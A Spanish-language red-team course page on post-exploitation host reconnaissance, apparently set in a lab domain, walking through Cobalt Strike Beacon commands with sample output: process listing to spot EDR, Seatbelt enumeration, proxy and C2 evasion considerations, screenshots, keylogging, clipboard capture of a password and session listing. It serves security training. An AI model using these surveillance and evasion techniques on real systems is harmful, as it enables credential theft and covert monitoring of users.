Saltar a contenido

Host Reconnaissance

Host Reconnaissance

Antes de llevar a cabo cualquier paso de post-explotación, es prudente evaluar la situación actual. Cada acción que realizamos conlleva cierto riesgo de detección. El nivel de ese riesgo depende de nuestras capacidades y las capacidades de cualquier defensor. Podemos enumerar el host en busca de indicadores sobre qué tan bien está protegido y monitoreado. Esto puede incluir Antivirus (AV) o Endpoint Detection & Response (EDR) software, políticas de auditoría de Windows, PowerShell Logging, Event Forwarding y más.

"Defence in Depth" es un concepto mediante el cual múltiples capas (independientes) de controles de seguridad se colocan en todo un sistema o entorno. La intención es proporcionar un nivel de redundancia para que, en caso de que una falle, otras permanezcan. Debemos estar preparados para sortear múltiples capas de seguridad.

"Offence in Depth" es un concepto similar para red teamers. La información recopilada aquí debe utilizarse para moldear las acciones que llevas a cabo o las tácticas que empleas. Por ejemplo, si tienes un script favorito de PowerShell que realiza "X" pero PowerShell logging está habilitado, es posible que debas evitar realizar "X" por completo o encontrar un medio alternativo para hacerlo (por ejemplo, .NET en lugar de PowerShell). Los buenos ingenieros ofensivos tendrán múltiples herramientas o metodologías para lograr el mismo resultado.


Processes

Lista los procesos en ejecución en un sistema utilizando el comando ps. Puede proporcionar pistas sobre cualquier aplicación personalizada y soluciones AV que puedan estar en ejecución.

beacon> ps

[*] This Beacon PID:    YELLOW 7480  
 PID   PPID  Name                                   Arch  Session     User
 ---   ----  ----                                   ----  -------     ----
 0     0     [System Process]                                         
 4     0         System                                               
 88    4             Registry                                         
 364   4             smss.exe                                         
 1532  4             Memory Compression                               
 464   456   csrss.exe                                                
 540   532   csrss.exe                                                
 564   456   wininit.exe                                              
 680   564       services.exe                                         
 448   680           svchost.exe                                      
 2812  448               taskhostw.exe              x64   2           DEV\bfarmer
 4632  448               mmc.exe                                      
 4796  448               sihost.exe                 x64   2           DEV\bfarmer
 6048  448               taskhostw.exe              x64   2           DEV\bfarmer
 7896  448               powershell.exe             x64   2           DEV\bfarmer
 2252  7896                  conhost.exe            x64   2           DEV\bfarmer
 8088  7896                  powershell.exe         x64   2           DEV\bfarmer
 460   680           svchost.exe                                      
 1036  460               rdpclip.exe                x64   2           DEV\bfarmer
 756   680           svchost.exe                                      
 812   680           svchost.exe                                      
 820   680           svchost.exe                                      
 664   820               SearchApp.exe              x64   2           DEV\bfarmer
 3244  820               unsecapp.exe                                 
 3848  820               WmiPrvSE.exe                                 
 5408  820               RuntimeBroker.exe          x64   2           DEV\bfarmer
 6000  820               StartMenuExperienceHost.exe x64   2           DEV\bfarmer
 6068  820               RuntimeBroker.exe          x64   2           DEV\bfarmer
 6612  820               RuntimeBroker.exe          x64   2           DEV\bfarmer
 6672  820               smartscreen.exe            x64   2           DEV\bfarmer
 7172  820               TextInputHost.exe          x64   2           DEV\bfarmer
 7244  820               dllhost.exe                x64   2           DEV\bfarmer
 7744  820               PhoneExperienceHost.exe    x64   2           DEV\bfarmer
 8044  820               RuntimeBroker.exe          x64   2           DEV\bfarmer
 952   680           svchost.exe                                      
 1032  680           spoolsv.exe                                      
 1104  680           svchost.exe                                      
 5196  1104              ctfmon.exe                 x64   2           DEV\bfarmer
 1176  680           svchost.exe                                      
 1208  680           svchost.exe                                      
 1212  680           svchost.exe                                      
 1224  680           svchost.exe                                      
 1284  680           svchost.exe                                      
 1336  680           svchost.exe                                      
 1508  680           svchost.exe                                      
 1588  680           svchost.exe                                      
 1672  680           svchost.exe                                      
 1800  680           svchost.exe                                      
 1804  680           svchost.exe                                      
 1884  680           svchost.exe                                      
 2108  680           SgrmBroker.exe                                   
 2340  680           svchost.exe                                      
 2492  680           MsMpEng.exe                                      
 2500  680           Service 1.exe                                    
 2508  680           Service 3.exe                                    
 2588  680           VGAuthService.exe                                
 2640  680           Service 2.exe                                    
 2668  680           Sysmon64.exe                                     
 2740  680           elastic-endpoint.exe                             
 2748  680           elastic-agent.exe                                
 4356  2748              filebeat.exe                                 
 4404  4356                  conhost.exe                              
 3408  680           svchost.exe                                      
 3856  680           WUDFHost.exe                                     
 3924  680           svchost.exe                                      
 4544  680           svchost.exe                                      
 4548  680           SearchIndexer.exe                                
 4556  680           uhssvc.exe                                       
 4756  680           svchost.exe                                      
 4900  680           svchost.exe                    x64   2           DEV\bfarmer
 4996  680           svchost.exe                                      
 5696  680           svchost.exe                    x64   2           DEV\bfarmer
 6760  680           SecurityHealthService.exe                        
 700   564       lsass.exe                                            
 852   564       fontdrvhost.exe                                      
 636   532   winlogon.exe                                             
 8     636       dwm.exe                                              
 60    636       LogonUI.exe                                          
 856   636       fontdrvhost.exe                                      
 3896  1984  csrss.exe                                                
 4872  1984  winlogon.exe                                             
 3096  4872      dwm.exe                                              
 5040  4872      fontdrvhost.exe                                      
 5344  5300  explorer.exe                           x64   2           DEV\bfarmer
 6724  5344      SecurityHealthSystray.exe          x64   2           DEV\bfarmer
 6752  5344      vm3dservice.exe                    x64   2           DEV\bfarmer
 6868  5344      msedge.exe                         x64   2           DEV\bfarmer
 2756  6868          msedge.exe                     x64   2           DEV\bfarmer
 3256  6868          msedge.exe                     x64   2           DEV\bfarmer
 4644  6868          msedge.exe                     x64   2           DEV\bfarmer
 7040  6868          msedge.exe                     x64   2           DEV\bfarmer
 7480  5344      powershell.exe                     x64   2           DEV\bfarmer
 7488  7480          conhost.exe                    x64   2           DEV\bfarmer

Hay varios procesos interesantes aquí, incluyendo Sysmon64, MsMpEng, elastic-endpoint y elastic-agent. Cuando se ejecuta en integridad media (es decir, un usuario estándar), no podrás ver la arquitectura, sesión e información del usuario para los procesos que tu usuario actual no posee.

La indentación representa relaciones padre/hijo.


Seatbelt

Seatbelt es una herramienta en C# que recopila automáticamente datos de enumeración para un host. Puede verificar configuraciones de seguridad como información del sistema operativo, AV, AppLocker, LAPS, PowerShell logging, políticas de auditoría, versiones de .NET, reglas de firewall y más.

beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe -group=system

====== AntiVirus ======

  Engine                         : Windows Defender
  ProductEXE                     : windowsdefender://
  ReportingEXE                   : %ProgramFiles%\Windows Defender\MsMpeng.exe

====== AppLocker ======

    [*] Applocker is not running because the AppIDSvc is not running

====== DotNet ======

  Installed CLR Versions
      4.0.30319

  Installed .NET Versions
      4.8.04084

  Anti-Malware Scan Interface (AMSI)
      OS supports AMSI           : True
     .NET version support AMSI   : True
        [!] The highest .NET version is enrolled in AMSI!

====== InternetSettings ======

  HKCU                       ProxyEnable : 1
  HKCU                     ProxyOverride : *.cyberbotic.io;<local>
  HKCU                       ProxyServer : squid.dev.cyberbotic.io:3128

====== LAPS ======

  LAPS Enabled                          : False

====== OSInfo ======

  Hostname                      :  wkstn-2
  Domain Name                   :  dev.cyberbotic.io
  Username                      :  DEV\bfarmer
  Build                         :  19044.1889
  BuildBranch                   :  vb_release
  CurrentMajorVersionNumber     :  10
  CurrentVersion                :  6.3
  Architecture                  :  AMD64
  IsLocalAdmin                  :  True
    [*] In medium integrity but user is a local administrator - UAC can be bypassed.
  TimeZone                      :  Coordinated Universal Time

====== PowerShell ======

  Installed CLR Versions
      4.0.30319

  Installed PowerShell Versions
      2.0
        [!] Version 2.0.50727 of the CLR is not installed - PowerShell v2.0 won't be able to run.
      5.1.19041.1

====== UAC ======

  ConsentPromptBehaviorAdmin     : 5 - PromptForNonWindowsBinaries
  EnableLUA (Is UAC enabled?)    : 1

Algo a tener en cuenta en esta salida es que hay un proxy web configurado - squid.dev.cyberbotic.io. Esto tiene implicaciones para HTTP(S) C2 por una variedad de razones.

Web Categorisation

Los nombres de dominio son categorizados por los proveedores para agruparlos con fines de filtrado. Esto es útil para que todo lo categorizado como "gambling", "drugs", "violence" o "social media", etc., pueda ser bloqueado directamente. Si el dominio utilizado como parte de tu engagement termina en una categoría bloqueada, se vuelve efectivamente inútil.

Dos estrategias para abordar este problema incluyen:

  1. Obtener un dominio que ya esté en una categoría deseable.
  2. Solicitar un cambio de categoría para un dominio.

Existen varios sitios web (por ejemplo, de Bluecoat) que facilitan esto, y herramientas como Chameleon pueden ayudar a automatizar el proceso.

HTTPS Offloading

Algunas organizaciones (particularmente aquellas con una PKI interna) realizarán SSL offloading en el tráfico web HTTPS. Esto permite que el proxy descifre el tráfico HTTPS entrante e inspeccione el HTTP en texto claro. Luego, el tráfico se vuelve a cifrar con una clave privada confiable internamente antes de ser reenviado al cliente.

Esto significa que incluso tu tráfico HTTPS C2 puede ser inspeccionado. Algunas herramientas C2 (como Covenant) permiten configurar certificate pinning en los implants, lo que evitaría efectivamente que esto ocurra, pero con el posible costo de que el proxy bloquee el tráfico por completo.

Content Filtering & AV Scanning

Esto puede ser evidente, pero si un proxy web tiene la capacidad de leer e inspeccionar el tráfico HTTP(S), entonces también puede escanear en busca de contenido malicioso conocido. Sin embargo, esto conlleva una penalización en el rendimiento. Otra característica común es bloquear la descarga y/o carga de tipos de archivos particulares, como .exe, .dll, .ps1, etc., lo que puede afectar tu capacidad para entregar payloads.

Authentication

Muchas organizaciones también requerirán alguna forma de autenticación antes de permitir que un cliente utilice un proxy. Esto podría ser cualquier cosa, desde basic auth con una base de datos local, Radius o integración con Active Directory. La integración con AD es una opción muy común y popular, ya que proporciona single sign-on a través de NTLM, Kerberos y LDAP(S).

Esto a menudo significa que un principal debe estar en un grupo de dominio "confiable" antes de poder usar el proxy, como Domain Users o un grupo personalizado. Esto a menudo excluye las cuentas de equipo, lo que significa que los Beacons HTTP(S) que se ejecutan como cuentas locales SYSTEM no pueden funcionar.


Screenshots

Tomar capturas de pantalla del escritorio del usuario puede ser útil para ver qué están haciendo. Puede mostrar qué sistemas o aplicaciones están utilizando, qué accesos directos tienen, en qué documentos están trabajando y así sucesivamente.

Beacon tiene múltiples comandos para tomar capturas de pantalla que funcionan de maneras ligeramente diferentes.

printscreen               Take a single screenshot via PrintScr method
screenshot                Take a single screenshot
screenwatch               Take periodic screenshots of desktop
beacon> screenshot
[*] received screenshot of Sticky Notes from bfarmer (46kb)

Para ver todas las capturas de pantalla que se han tomado, ve a View > Screenshots.


Keylogger

Un keylogger puede capturar las pulsaciones de teclas de un usuario, lo cual es especialmente útil para capturar nombres de usuario, contraseñas y otra información sensible.

beacon> keylogger
[+] received keystrokes from *Untitled - Notepad by bfarmer

Todas las pulsaciones de teclas pueden verse en View > Keystrokes.

El keylogger se ejecuta como un job que puede detenerse con el comando jobkill.

beacon> jobs
[*] Jobs

 JID  PID   Description
 ---  ---   -----------
 6    0     keystroke logger

beacon> jobkill 6

Clipboard

El comando clipboard capturará cualquier texto del portapapeles del usuario (no captura imágenes ni ningún otro tipo de datos). Esto puede ser útil para capturar credenciales que se estén copiando/pegando, lo cual puede ser especialmente común cuando se utilizan gestores de contraseñas.

Este es un comando puntual (no se ejecuta como un job) y muestra el contenido directamente en la consola de Beacon.

beacon> clipboard
[*] Tasked beacon to get clipboard contents

Clipboard Data (8 bytes):
Sup3rman

User Sessions

Los usuarios que están actualmente conectados a esta misma máquina pueden ser buenos objetivos para atacar. Si tienen más privilegios que nuestro usuario actual en el dominio, pueden ser buenos candidatos para movimiento lateral hacia otras máquinas. El capítulo Domain Reconnaissance mostrará métodos para realizar este tipo de enumeración.

El comando net logons listará las sesiones de inicio de sesión en esta máquina.

beacon> net logons

Logged on users at \\localhost:

DEV\bfarmer
DEV\jking
DEV\WKSTN-2$